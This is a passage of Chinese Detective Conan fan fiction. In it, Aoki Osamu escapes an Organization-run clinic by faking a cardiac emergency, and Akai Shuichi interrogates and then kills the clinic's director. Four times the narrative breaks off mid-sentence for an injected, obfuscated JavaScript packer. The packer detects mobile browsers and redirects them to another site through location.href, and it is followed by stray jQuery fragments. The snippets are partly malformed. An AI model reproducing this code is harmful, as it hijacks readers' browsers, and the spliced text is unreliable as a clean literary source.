分别前还带着红润的唇如今也变得苍白青紫,胳膊和露出来的脚腕上缠满了绷带,搭在床沿的那只手手背上也全是青青紫紫的针眼。 “你知道你们FBI也被组织渗透了吗?” 青木修没有和他寒暄,而是直接开门见山地问道。 赤井秀一点点头。 青木修知道他能来一趟想来一定非常不容易,词词句句都没有废话。 “这里的负责人萨罗,是组织的人,整个疗养中心都在他的控制之下,他甚至还能和东京那边有联系。” 他的语速很快,根本不给赤井秀一插话的机会,“你也要多加小心,不要让他们发现你,不然萨罗肯定会想办法让人杀了你,或者让你进来跟我做伴。” “他们在你身上的实验到底是什么?” 赤井秀一终于找到机会说话,张嘴就把他心中最深的疑惑问了出来。 青木修也没有隐瞒,“你知道‘永生’吗?” 赤井秀一第一反应就是否认,“怎么可能。” 青木修微微一笑,“你或许不相信,但你应该听说过上世纪大战中他们很有名的人体实验部队吧?从那个时候起,他们就在探寻人体的极限,以此想要找到让人获得永生的方法。” “所以……” 赤井秀一大概知道青木修接下来要说什么了。 “所以我目前是他们最成功的一个实验体,我身上的部分细胞——比如说我的胃,已经实现了细胞年龄的倒退,虽然不多,但是已经有了成效。” 赤井秀一觉得自己的三观都要被刷新了,“返老还童”这个向来只出现在童话故事里的词居然有朝一日真的会出现在现实世界。 “赤井秀一,你相不相信这里想要获得长生的人一点都不比那边少。” 这一点赤井秀一倒是深信不疑,要知道现在有多少政界权贵和社会名流不分男女都在想办法保持青春,甚至还有人为了长生不老和自己的亲儿子换血。 青木修笑容不变,只是目光变得有些凄苦,“你说,如果有人可以长生的消息走漏出去,会有多少人趋之若鹜。” 毫无疑问,如果这个消息走漏出去,这个世界上会有多少人为之疯狂。 “你们称为BOSS的那位先生已经活了很久很久。” 赤井秀一精神一振,不知道青木修忽然提起BOSS会是什么用意。 “但是那位先生近几年的身体状态一直不是很好,在组织时他们每隔三个月就要给我抽血,目的就是用我的血液制成血液制品,以此用来给那位先生续命。” 原来青木修对组织的重要程度远比自己想象的还要高。 赤井秀一在心中飞快的盘算着,组织的手已经能伸到FBI内部,甚至能悄无声息地控制住FBI名下的生物实验室,说明其中必定有高管在暗中提供帮助。 从侧面也可以说明组织“长生不老”的流言已经在一小部分上层人士中传开,如果到时候事态没能控制住,有关青木修的研究成果一旦被走漏…… 那么一定会有来自各个势力的人想办法阻止他们消灭组织,青木修的人身安全就更加没有保障了。 要想真正消灭组织,必须先想办法让青木修这个组织的活字招牌消失一段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14091431|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 青木修显然也想到了这一点。 “现在对组织最有效的控制办法就是让我死。” 青木修毫无负担地把这个方案说了出来。 赤井秀一怔然,“你不用……”你不用这样心存死志。 “除了这样子,还有其他的办法吗?” 尽管心中很舍不得诸伏景光,但青木修非常清楚,只有自己彻底消失,才是阻止组织迅速发展的最有效的办法。 “你不必死。” 赤井秀一飞快地想出办法,“要知道我们FBI最擅长的不就是让一个人‘被消失’吗?” 青木修懵了,过了几秒钟才反应过来自己现在的状态不就是“被消失”吗? “那你有什么办法?” 青木修虽然理解了赤井秀一的用意,但是他想不出来,在监管如此严格的地方,赤井秀一能有什么办法让自己神不知鬼不觉“被消失”。 “这里防守很严密,”他提醒赤井秀一道,“你混进来一趟,自己应该也能知道有多么不容易。” 赤井秀一低头看了看手表,还有十多分钟,足够他再想想办法。 “我这段时间会一直留在这附近,应该每天都能过来一趟。” “你要干什么?监视这里吗?” 青木修一时间不知道赤井秀一葫芦里卖的是什么药。 “没错,我会和我们小队的人轮流监视这里。就是中间需要你的配合。” “需要我怎么做?” 有能活下去的机会,青木修自然不会放过。 “可能需要你冒个险。” 赤井秀一斟酌道,同时在脑海中迅速拼接这个疗养院的大致建筑结构。 与组织在东京的基地建筑风格不同,这一家疗养院因为是直接接手的倒闭的生物实验公司,所以并没有在原来的建筑上推翻重建,而是直接利用原有建筑进行了装修。 也就是说,他们现在所处的位置在地上,而非地形更加复杂的地下,这就让赤井秀一“偷人”的计划变得容易实施许多。 只不过这里进入需要层层身份验证,如果没有像今天这样在前面带他进入的引路人,想要成功混进来和青木修汇合还真不是一件容易的事。 “你要想办法出去一次。” 赤井秀一想了半天,最后想出这么一个办法来。 “想办法出去一次?” 青木修眉头皱起,显然他很清楚想要从这里出去并不是一件容易的事情。 “我和我的小队会二十四小时不间断的守在这附近,有什么异常第一时间就能发现。” 赤井秀一已经通知朱蒂和卡迈尔赶来芝加哥,现在两人应该就在赶来的路上。 “你能不能想办法出这个疗养院的大门?只要你能出来,我们就有办法带你走。” 青木修抿唇,他隐约记得萨罗抱怨过这里的医疗设施还不够完善…… 他忽然有了主意。 “我有办法了,就是还需要几天的时间,以及……到时候可能需要你帮我联系一辆救护车。” 赤井秀一正想问青木修到底是个什么办法,奈何计时器已经给出警报,他只得先匆匆和青木修分别开来。 35.第 35 章 与此同时,遥远的东京。 “呼……呼……” 诸伏景光裹挟着满身的血气,强撑着一口气走进安全屋的大门。 “哐啷——” 装有狙击枪的贝斯盒跟随着主人一起重重摔落在地上。 我又活下来了…… 诸伏景光没有第一时间起身,而是就着这个姿势仰躺在地上,艰难地喘着粗气。 自从青木修跟着赤井秀一离开以后,组织派给他的任务越来越危险,到现在为止已经发展成了每次出任务都是在搏命。 他清楚地知道组织这么做的原因是什么,琴酒也早已明确的告诉过他。 诸伏景光不由得想起青木修离开后的第二天下午。 琴酒把他单独叫到会议室。 “苏格兰,你打偏了。” 诸伏景光登时冷汗就顺着后背下来了。 他以为自己那一枪已经足够隐秘,再加上有赤井秀一的帮忙,一般人应该看不出来有什么异常。 是他低估了琴酒。 “所以呢?” 见琴酒直接戳穿了自己的小动作,诸伏景光拿出一副破罐破摔的气势,想看看琴酒到底会拿他怎么样。 杀了他吗? 诸伏景光转动眼睛,把视线落在琴酒风衣左侧口袋里。 那里放着琴酒从不离身的□□,只要他想,现在随时都能打死自己。 “想让我杀你?” 琴酒从诸伏景光的眼睛中读出了他的想法,冷笑一声,“你还不配我动手。” 说完这句话,琴酒就让诸伏景光滚蛋了。 当时诸伏景光还不明白琴酒为什么会放过自己,如今他却明白了:因为自己并没有直接做出背叛组织的行为,所以琴酒不会直接像处决叛徒那样处决他。 组织会不断的利用他执行各种各样随时会殒命的任务,在榨干他的最后一点价值后让他顺理成章的死在任务里。 “嘶……” 只是一个细微的动作,就牵扯到了身上的伤口,诸伏景光疼得倒吸一口凉气,被伤口处源源不断的钝痛拉回神。 他视线扫过空旷的安全屋,神情有些落寞。 自打出了这档子事以后,组织就把威士忌小组解散了。 听说朗姆乐得见牙不见眼,把降谷零接回去继续做情报组的头号人才了。 而自己现在变成了一个人。 一个人生活,一个人出任务,一个人……思念青木修。 青木修和赤井秀一一起叛逃后,他原本的房间便被组织派来的人翻了个底朝天,甚至连悬在天花板上的装饰灯都没有幸免。 搜查的人来了一波又一波,诸伏景光耐心等待到所有的搜查结束,一个人不动声色地把青木修的房间恢复成原样。 他们威士忌小组平时考虑到安全问题,并不会进入其他人的房间——除了他,常常被青木修拉进来。 来的次数多了,再加上青木修从未对他有过防备之心,诸伏景光很轻松地摸透了青木修房间里的每一处布置。 实际上青木修自己的东西并不多,也没有在房间的原样上进行过多的装饰,房间基本上还是他没搬进来之前的样子。 只是衣柜里多了几件衣服,桌子上多了些青木修常常用到的小武器一类的物品。 再然后就是自己送给他的一些零碎物件了。 要不是被搜查的成员翻出来,诸伏景光都没想到青木修会把这些小东西保存的那么好,其中甚至还有自己照顾他时没用完的绷带。 原本还有些人气的安全屋如今空空荡荡,诸伏景光总觉得少了些什么。 他闭上眼睛,仿佛还能听到青木修的声音在安全屋里回荡。 “苏格兰!我们一起出任务!” “苏格兰!我来帮你吧!” “苏格兰!你没受伤就好!” …… 以前跟青木修出任务的时候,他永远不会让自己冒一星半点的风险。 青木修…… 诸伏景光依旧躺在地上,他蓄起力气,冲着上方的虚空伸出手,恍惚间,他似乎看到了青木修。 诸伏景光抓住了一把空气。 “……” 怔愣半晌,他才意识到青木修现在已经不在这里了。 跟据赤井秀一的消息,他们现在应该已经到了美国安顿下来。 那个FBI说过会保护青木修的安全。 并不知道FBI实情的诸伏景光还带着一丝侥幸心理:青木修的存在不管对哪一方来说都是打击组织极有力的证据,于情于理FBI都应该会善待青木修。 这样也好,诸伏景光无力地想,在FBI的保护下或许确实要比在这里安全许多。 按照现在的任务强度,自己迟早有一天会死在某一次的任务里。 恐怕没机会再和青木修见面了。 这个想法一从脑海里跳出来,诸伏景光便莫名觉得心口有些堵。 他鲜少会后悔什么事情,但唯独对利用和欺骗青木修感情这件事,他如今后悔万分。 想到那双永远只会用温驯眼神看着自己的灰色眼睛,诸伏景光心头难以抑制地涌起一阵酸涩。 如果自己当初没有这样利用青木修,现在的情况会变得不一样? 可惜世上没有后悔药卖,有些事情一旦错了就不会再有改正的机会,只能留他诸伏景光一个人在孤寂的安全屋里独自后悔。 在他愣神之际,大门处传来了钥匙开锁的声音。 这么晚了,会是谁? 尽管身体上的伤口仍旧疼痛无比,诸伏景光还是撑住一口气逼迫自己从地上站起来。 “hiro?” 降谷零一推开门看到的就是诸伏景光血迹斑斑,端着枪靠在客厅沙发上借力的场景。 “你怎么搞成这个样子了?” 朗姆把他调离威士忌小组的动作过于匆忙,他有很多事情都还没有和诸伏景光交接好。 早在情报组对诸伏景光如今的处境有所耳闻,但如今亲眼看到还是大吃一惊。 “这段时间琴酒一直都是这样针对你的?” 看清来人是降谷零,诸伏景光从胸腔中吐出一口满是铁锈味的浊气,本想缓缓放下枪,却再次因为体力不支倒在沙发上。 降谷零见他伤成这样,一时间也没有再追问下去,转身去找医疗箱。 除了后背上几个不方便的伤口不得不让降谷零帮忙之外,其他的伤诸伏景光都选择自己处理。 降谷零也不说话,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14099833|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁静静地监督诸伏景光处理伤口。 盯着诸伏景光把止痛药和消炎药吃下去后,降谷零这才又重复了一遍刚才一进屋的问题,“这段时间琴酒一直都是这样针对你的?” 止痛药还没有起作用,诸伏景光浑身疼得厉害,干脆窝倒在沙发上,哼哼两声以示回应。 “你说说你……” 降谷零很是为幼驯染担忧,但偏偏又说不出什么重话,只能愤愤朝诸伏景光身上拍了一巴掌。 还要避开他身上的伤口。 “再这样下去你迟早会死在任务里。” 半晌,降谷零还是没忍住,长叹一口气,“这么重的伤你也不去组织名下的医院处理一下?” 诸伏景光摇摇头,“我明天还有任务。” “明天还有?” 降谷零差点没高声喊出来。 “这明摆着就是要让你死!” 琴酒这种行为和直接把诸伏景光当做叛徒处决掉有什么区别吗?或许直接处决都还不用受这么多苦! “我知道。” 诸伏景光没忘记琴酒的话。 “这都是我应得的。” 是他打偏了那一枪,所以这些惩罚都是他应该承受的。 “hiro,你要知道,再这样下去去你就算不死在任务里,暴露的风险也大大提高了。” 降谷零说的这些诸伏景光都心知肚明,但现在说这些又有什么用呢? 太晚了。 “我都明白,你放心吧zero,”止痛药渐渐生效,诸伏景光找回了一点力气,他调整了下坐姿,让自己尽量舒服一点,“我会小心执行任务的,尽量不让自己……” 不让自己死的太早。 他后面的话没说完,但降谷零应该能明白。 “你对青木修……” 降谷零原本想说“你对青木修真的动感情了”,但转念一想,这时候说这种话似乎有些太迟了,于是便改了口,道:“你对杜林标,不要陷得太深。” 他特地用了“杜林标”这个代号,就是想要提醒诸伏景光,青木修一开始是一个连名字都没有的实验体。 “没有,”诸伏景光闻言当即矢口否认,“我没有对他……就是当时心软了一下。” 降谷零对诸伏景光苍白无力的辩驳不置可否。 “他确实救了我们两个人……” 见诸伏景光沉默不语,降谷零终是软了语气,“但他现在的身份毕竟是叛徒,你要想办法证明自己那天的心软只是一个意外。” 也不知道诸伏景光到底把他的话听进去了多少,只见他胡乱点点头。 实际上诸伏景光现在心乱如麻。 降谷零的话给他提了个醒,他正在心中一遍又一遍地质问自己,那天对青木修真的只是一时心软吗?他对青木修就全然只是利用吗? 诸伏景光心中其实已经隐隐有了答案。 他对青木修不是一时的心软,也不仅仅全然是利用之心。 诸伏景光希望青木修能够活下去,青木修是组织这个巨大染缸中如同神迹一般的白纸,理应拥有更美好的人生画卷,而不是被组织浸染成一张墨色的废纸。 这个时候,诸伏景光不得不承认,自己也对青木修动了心。 36.第 36 章 尽管FBI被组织渗透也是一件十分严重的事情,但是考虑到和诸伏景光的交易以及青木修本身的重要性,赤井秀一暂时搁置了处理FBI内部问题的进程,专心带着小队每天二十四小时不间断的在暗中盯着青木修所在的疗养院。 经过一段时间的盯梢,赤井秀一逐渐摸清楚了疗养院的安保换班规律。 但想要混进去依旧不是一件容易的事情。 赤井秀一后来又尝试过好几次都没能顺利潜入,一直也没能再找到机会见上青木修一面,因而也就对青木修的“计划”一无所知,只能被动的等待疗养院里发出什么动静。 “赤井先生,他们还是没有动作。” 赤井秀一来和卡迈尔换班,一进屋,卡迈尔就垂头丧气的和他汇报今天的情况。 已经在这里蹲了快十多天的卡迈尔不由得产生了一丝怀疑,“赤井先生,你说,青木先生真的能成功吗?” 赤井秀一原本的长发剪短,只有几绺倔强的卷发垂在额头前,他抬手拨弄了一下其中一绺挡在眼前的碎发,笃定地回答道:“他会做到的。” 他相信青木修,这个人心里惦记着诸伏景光,是不会轻易让自己死在这里的。 他发现青木修有一种特质:只要青木修自己有希望想干一件事,哪怕是有人把他往泥坑里面踩,他也会奋力抱着那个人的腿往上爬,不达目的誓不罢休。 以前在威士忌小组的时候,他一度被青木修的外表所欺骗,以为他不过是一个被组织养大的,已经被驯化完成的实验体,没想到他的内里会这么决绝又疯狂。 也不知道是他本来就性格如此,还是跟诸伏景光待久了之后变成这样的。 想起诸伏景光,赤井秀一觉得第二种猜测的可能性要大一些。 要知道诸伏景光看起来和和气气温温柔柔的一个人,真正认真起来要比降谷零更加可怕。 他们俩还真是般配,赤井秀一神游着,有些漫无边际地想,一样都是披着羊皮做伪装的狼,谁要是真的被他们温和无害的外表所欺骗,不惹他们还好,要是触碰到他们的逆鳞,恐怕会被毫不留情咬断喉咙。 “赤井先生?” 卡迈尔又说了几句话,但赤井秀一并没有听清。 “嗯?抱歉,我刚刚走神了。” “没关系没关系。”卡迈尔其实一直有点怵赤井秀一,他这个年轻的上司有着和年龄不相匹配的实力,行事雷厉风行毫不拖泥带水,有时候连詹姆斯都要听听赤井秀一的建议,更不用说……赤井秀一在组织里暴露的主要原因还在他身上。 想到当初的场景,卡迈尔都恨不得能时光倒流,紧紧捂住当时自己的嘴巴,实在不行一拳打晕也可以。 “刚刚——就是你来之前几分钟的事情,詹姆斯先生通知我他已经联系了几家信得过的私人医院,随时都能出动救护车。” 说完,卡迈尔还是有些犹疑,“我们真的能顺利带走青木先生吗?” 赤井秀一掐灭手中的烟,把未燃尽的烟头摁进烟灰缸。 “卡迈尔,我和你说过的,”他看向卡迈尔的眼睛,“无论任何事,我们都要做最坏的打算,最积极的准备。” 是的,早在他们几人组队之初,赤井秀一就在卡迈尔很早的一次行动失败之后告诉过他: “凡事都要做好最坏的打算和最积极的准备。” “有些事情一旦发生了,就不要去后悔复盘自己当初应该怎么做,而是要想办法去解决现在的困境。” “我明白了赤井先生。” 卡迈尔的心安安稳稳落回了胸腔里。 他离开之后,用来盯梢的屋子里一时间只剩下赤井秀一一个人。 他的指尖敲击窗框,发出有规律的“哒哒”声。 也不知道诸伏景光最近怎么样了。 赤井秀一也有几天没有收到来自诸伏景光的消息了,联想到上次通讯时诸伏景光说自己被针对的事情,他在考虑如果能够顺利救出青木修,要不要和他说这件事。 还有,救出青木修之后,到底该怎么安置他也是个问题。 赤井秀一倾向于给青木修制作一个假身份让他暂居美国,想到这里,就不得不庆幸一下组织对青木修的学习教育还算是到位,要是想在这里生活的话,青木修基本上没有沟通问题。 不过他也明白,如果把诸伏景光最近的情况告诉青木修,恐怕青木修也是要想办法回去。 不管最后青木修的决定是什么,赤井秀一都尊重他的选择。 . 青木修在疗养院里清醒的时间越来越短。 不知道萨罗安排人究竟给他使用了什么药物,青木修的脑袋最近一直都昏昏沉沉的,不够清醒。一天中绝大多数的时间他都在昏睡。 有时青木修会抽搐着从昏睡中惊醒,在醒来的前几分钟里大脑往往一片空白,既不知道自己身在何处,也记不清自己和赤井秀一之间的计划。 他常常需要眼神空洞的靠在床头好几分钟,才能逐渐回忆起自己是谁、身处何地,以及自己要干什么。 青木修深知这样下去不是办法,FBI内部被组织渗透的事情同样严重,如果一直麻烦赤井秀一分神守在这里等着救他出来,难保组织会不会在FBI内部进一步发展势力。 可是无论他怎么心中怎么想,面上都要做好乖乖配合实验的态度。 “把促进心跳的药给他拿过来。” 这天从混沌中苏醒的时候,青木修听见有人这么说。 他虽然当时脑子还没有完全清醒,但已经下意识地记住这句话。 等到他慢慢缓过劲,垂眸看着被送到自己面前的药丸,青木修心中逐渐有了一个大胆的决定。 这种让他不断昏睡的不知名药物不是会让他的心脏功能下降,心跳减慢吗? 那就一次性给它一个大的刺激。 促进心脏功能的药物一次性需要吃三颗,青木修把药丸藏在牙龈侧边,装作已经吞下去的模样,实则趁着实验员们不注意把药悄悄吐出来藏起来。 虽然有一点点恶心,但也是权宜之计。 等到攒出一把药丸时,青木修找机会把一整把药丸一次性全吞了下去。 这个时候他每天的清醒时间其实已经不足一个小时了,吞下这把药物没多久他便开始感觉到心跳加快浑身发热。 青木修强行忍下越来越强的心慌感,装作什么都没发生的样子。 时间一点点推移,他的意识愈发昏沉,心跳越来越快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14112122|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嘀嘀嘀嘀嘀——!” 在眼前画面彻底黑下去之前,青木修如愿听到了连接在他身上的仪器接二连三发出的警报声。 他嘴角噙着一丝不明显的笑意陷入黑暗的怀抱。 萨罗带着人匆匆赶来时青木修的心跳速率已经快要到200/每分,他慌里慌张安排助手准备给青木修上心电图。 “快!检查是什么原因!” “萨罗先生,”正在给青木修上心电图的助手还没等结果出来就急匆匆向萨罗汇报,“实验体的心跳已经超过每分钟200次了!” 再这样下去会引发急性心衰,萨罗完全不知道原本应该完全处在自己掌控之下的实验体是出了什么事,只能匆匆吩咐助手们去准备抢救药物。 “先准备洋地黄和倍他乐克!” 眼看着青木修脸色逐渐发红,嘴唇的血色却迅速褪去,一向镇定的萨罗也逐渐慌了神。 “先生,没有洋地黄了!” 大约半分钟过去,一名助手慌里慌张跑来报告。 “该死!” 萨罗低声咒骂一句,他早说过这里的医疗抢救措施不完备,偏偏就是没有改进! 现在好了,他们不得不冒险把人送出去进行抢救。 “联系救护车!” 在外蹲守多天的赤井秀一早早让朱蒂监听了附近医院的报警电话,第一时间截获到来自疗养院的求助信息。 “准备动手!” 赤井秀一飞速下楼,跳上车往反方向行驶,通过定位把赶来的救护车截下来。 “詹姆斯先生已经通知到医院了。” 朱蒂一边手脚麻利地把前来的救护人员捆了个结实,一边向赤井秀一汇报目前的任务进展。 “走!” 把被绑起来的救护人员丢下车,赤井秀一几人大摇大摆换上衣服,坐上救护车重新向疗养院驶去。 一路有惊无险的通过疗养院的重重安检,赤井秀一推车平车大喇喇冲进实验区。 “病人在哪里?” 朱蒂向萨罗等人招呼着。 赤井秀一原本站在后方推着平车,忽然感到一道视线落在自己的身上。 侧过头去,原来是曾经帮助过他们一次的迈尔。 研究员眉头微颦,眼睛一眨不眨地盯着他。 “病人马上就来!” 赤井秀一不动声色地靠近迈尔。 “你们是来救人的?” 迈尔在角落里低声询问。 赤井秀一什么话也没说,只是看着他。 “我懂了。” 迈尔若有所思,转身准备离开。 赤井秀一心头一紧。 迈尔似乎有所感应,回过头,“我会让这里的痕迹跟着一起消失。” 赤井秀一眼瞳颤了颤。 “快走吧。” 迈尔轻轻推了他一把。 几步之遥的距离,朱蒂已经顺利接到被匆匆推出来的青木修。 “等等,我要跟着!” 萨罗看了他们一眼,突然提出自己要跟上。 “没问题,请动作快一点。” 朱蒂并没有阻拦,甚至还侧身空出位置,方便萨罗快些上车。 37.第 37 章 没等萨罗把屁股下面的凳子坐热,朱蒂的拳头就招呼上了他的脑门。 “哐当”一声巨响,萨罗整个人翻倒在地上,他还没来得及抬头看看发生了什么事就被朱蒂紧随而来的第二拳打的彻底失去了意识。 “卡迈尔,速度再快一点!” 赤井秀一他们都懂得一些简单的急救知识,也能看懂一些基础的监护仪数值,他正扭头盯着朱蒂把萨罗绑起来,突然听到了监护仪器报警的声音,连忙转回视线,发现青木修的各项生命体征都在迅速下降。 他一边给青木修上各种抢救仪器,一边不断催促卡迈尔的车速再快一些。 卡迈尔不敢再出差错,一路上风急火燎不带减速把人送到詹姆斯提前联系好的医院。 “病人需要立刻抢救。” 赤井秀一顺利和等候多时的医护人员交接青木修,对方一看监护仪上的各种数值,第一时间就给出了判断。 “他……” “请您在门外等候结果。” 赤井秀一还没来得及说什么就被医生无情关在抢救室门外。 “……” 他一时间竟不知道该作何反应。 好在医生的动作很快,没给他太多的时间,抢救室的大门便打开了。 不及赤井秀一开口询问青木修的情况,跟出来的护士迎面递给他一张纸。 “你们是患者的什么人?麻烦签一下病危通知书。” 赤井秀一勾起来的嘴角顿时落了下去,他还算镇定地在病危通知书上签下自己的名字,眼看着抢救室大门再一次合上。 这一等就是好几个小时。 青木修还没从抢救室里出来,赤井秀一就先等来了原本应该留守在疗养院附近的詹姆斯。 “秀一。” 詹姆斯先生的表情看上去有些微妙,赤井秀一立刻猜到可能是疗养院出了事。 “疗养院发生了什么事?” 他直接开门见山地问道。 “疗养院……爆炸了。” 詹姆斯挠挠头,“从现场的情况来看,是实验室的位置发生了爆炸,死亡的都是实验员。” “那个线人呢?” 赤井秀一没忘记带着青木修离开前迈尔跟他说的那些话。 “迈尔他……也死了。” 詹姆斯感到非常遗憾,他原本还想着招募迈尔做他们的专职线人,没想到竟然会发生了这样的事情。 “现场调查过是怎么回事吗?” 因为这家疗养院的实际控制权在FBI手中,FBI对于爆炸也非常重视,短短几个小时就出具了行动报告。 “已经做过基本调查了,根据内部的调查报告来看,是中心实验室发生了爆炸,据其他工作人员反映,核心小组连同助手在内全都在里面,无一人幸免。” “无一人幸免?” 赤井秀一隐隐约约猜到了真相,“那疗养院的档案室怎么样?” “明面上的普通档案室没受到什么损坏,但是作为生物实验室的档案库却因为紧挨着中心实验室,电脑主盘被炸毁了,技术组那边据说在努力修复,但是目前来看,希望不大。” 幸好希望不大。 赤井秀一在心中庆幸了一下,但凡生物实验室的档案被保存下来就是一个大祸患,一旦有关青木修的资料被泄露,恐怕到时不管是不是组织的人都会强力反对把他送走。 看来那个迈尔知道的东西还不少。 赤井秀一的心情有些复杂,他非常敬佩迈尔的决绝,同时也为一个知道太多内幕消息的人的死感到放松。 说到底迈尔算是组织的人,他死了对赤井秀一他们来说也并非全是坏处。 “对了,青木先生进去多久了?” 詹姆斯一拍脑袋,想起自己来医院的正事儿。 “……好几个小时了,三张病危通知书。” 赤井秀一低头看看表,给出一个不甚精准的答案。 不是说他没有关心青木修的安危,相反,正是他太担心青木修,这才忘记了送人进去的时候看看时间,只记得自己签了多少张病危通知书。 “接下来你对青木先生的安排有什么想法吗?” 詹姆斯问道。 “詹姆斯,你是怎么想的呢?” 赤井秀一早就考虑过这个问题,他没有先回答詹姆斯,而是反问他。 “我的想法是给青木修先生做一个假身份方便他留下,让他先避避风头。” 赤井秀一不置可否,“还是等他清醒之后再说吧,总该要听听当事人的想法,不是吗?” 詹姆斯见他态度如此,也不好再多说什么。 一行人又在走廊上等了不知多久,直到赤井秀一都觉得自己的腿有些站得发麻,抢救室的门才在他们的期盼下打开。 “血液检测报告显示,病人体内有大量的不明药物残留,最严重的副作用就是加大心脏压力。” 医生的神情很严肃,让几个人也跟着紧张起来。 “还有其他诸如导致植物神经紊乱的副作用就先不提了,”医生示意身后的护士拿出一份检查报告单,“病人的心肌细胞里有一个微型芯片,在我们的抢救过程中一直在释放生物电流干扰抢救。” 赤井秀一大约推断出来是当初还在威士忌小组中青木修提到过的芯片。 只不过当时不是说这枚芯片是辅助青木修心脏正常工作的吗?怎么会突然变成干扰抢救的东西了? 不等他想明白其中的关窍,几个护士推着青木修从抢救室里出来。 跟他们说话的医生似乎还没说完,并没有让开,赤井秀一利用身高优势迅速瞥了一眼青木修。、 躺在病床上的人脸色不似一开始紫红的猪肝色,而是变得无比苍白,那双薄唇紧紧闭着,颜色是死人一样的青紫。 怎么看怎么都不像是正常抢救过来的人的样子。 “你应该已经看到病人的情况了吧?” 医生的眼神跟着赤井秀一的视线一道落在青木修身上,“现在并不能说抢救结束,只能说我们暂时维持住了病人的生命体征,让他维持在一个生命的最低水准上,现在需要把他转移到ICU进行观察。” “我明白。” 赤井秀一转身让卡迈尔拿出一沓文件,“也麻烦您和其他参与了这次抢救的医生护士签一下这个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14125671|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生低头一看,是一沓子保密协议。 “没问题。” 这件事情早在詹姆斯找上他们的时候就已经说清楚了。 “谢谢您的配合。” 赤井秀一和医生握了握手,转身找到责任护士,向她申请去ICU探视青木修。 青木修躺在病床上,对赤井秀一的到来毫无反应。 周身的监护仪器无一不显示着他的生命水平被维持在一个最低的水准上。 他的暂时安全让赤井秀一终于能抽出时间去“看看”被朱蒂两拳撂倒的萨罗先生。 安全起见,赤井秀一并没有把他送回FBI,而是让卡迈尔把人送回他们小队暂居的安全屋地下室。 “哗啦——” 一盆冷水把鼻青脸肿的萨罗先生泼醒。 他打了个哆嗦醒来,看清自己处境的第一时间就是威胁。 “你知道我是谁吗?赶紧放了我!” 赤井秀一不为所动,蹲下身和萨罗先生保持平视。 “你们给杜林标注射了什么药物?” 生物实验室资料硬盘被毁,他只能寄希望于从萨罗先生这边找到一些线索。 “杜林标?他还活着?” 这反应倒是让赤井秀一有些意外,这人怎么一副觉得青木修已经死了的模样? “哼,这家伙还真是命大。” 萨罗先生在赤井秀一的脸上找到了自己想要的答案。 “亏我还向总部报备这家伙活不下去了。” 赤井秀一眉梢一跳,这话是什么意思?难道说在组织的眼里青木修这次已经活不下去了吗? 这对现在的他们来说无疑是个好消息。 他恰当的流露出一丝遗憾,“他已经死了,我们只是在解剖他的尸体时从血液中发现了大量的不知名药物,另外,他死于急性心肌衰竭。” 急性心肌衰竭是他签的其中一张病危通知书上的诊断,现在被他拿来套话而已。 赤井秀一脸上的那抹遗憾过于真切,以至于萨罗不疑有他,相信了赤井秀一的说法,跟着露出一副失望的神情。 “真是可惜了……” 但他并没有失望太久,“不过没有关系,总部早就给他的基因做了备份,我们可以培养一个更加听话的实验体。” 赤井秀一渐渐失去和他打哑谜的耐心,直言道:“你们在FBI中的人,都还有谁?” “我背后的人,你摆不平。” 萨罗也没有再跟赤井秀一卖关子,直接挑衅道:“你们充其量也不过是FBI下的一个小小探员,你有什么资格能和一个分部最高负责人对抗?” 好家伙,这是自己直接自爆了。 得到想要的消息,赤井秀一不再多和萨罗废话,直接掏枪给他的脑袋开了花。 这个自由的国度每天不知道有多少人死于枪战,多一个身份不明的人又有什么疑问呢? 至于萨罗口中分部的最高负责人也并不难找,想想萨罗所在的疗养院隶属于哪一个分部的FBI管理就可以知道答案了。 能在他们的眼皮子底下横行妄为这么久,背后必然离不开直属分部的势力庇护。 38.第 38 章 萨罗死前那句“亏我还向总部报备过了”给赤井秀一吃下一颗定心丸,向来短时间内应该不会有组织的人来持续搜捕青木修了。 但眼下还有另一个至关重要的问题:青木修需要自己先熬过这一关,才有机会谈谈“以后”。 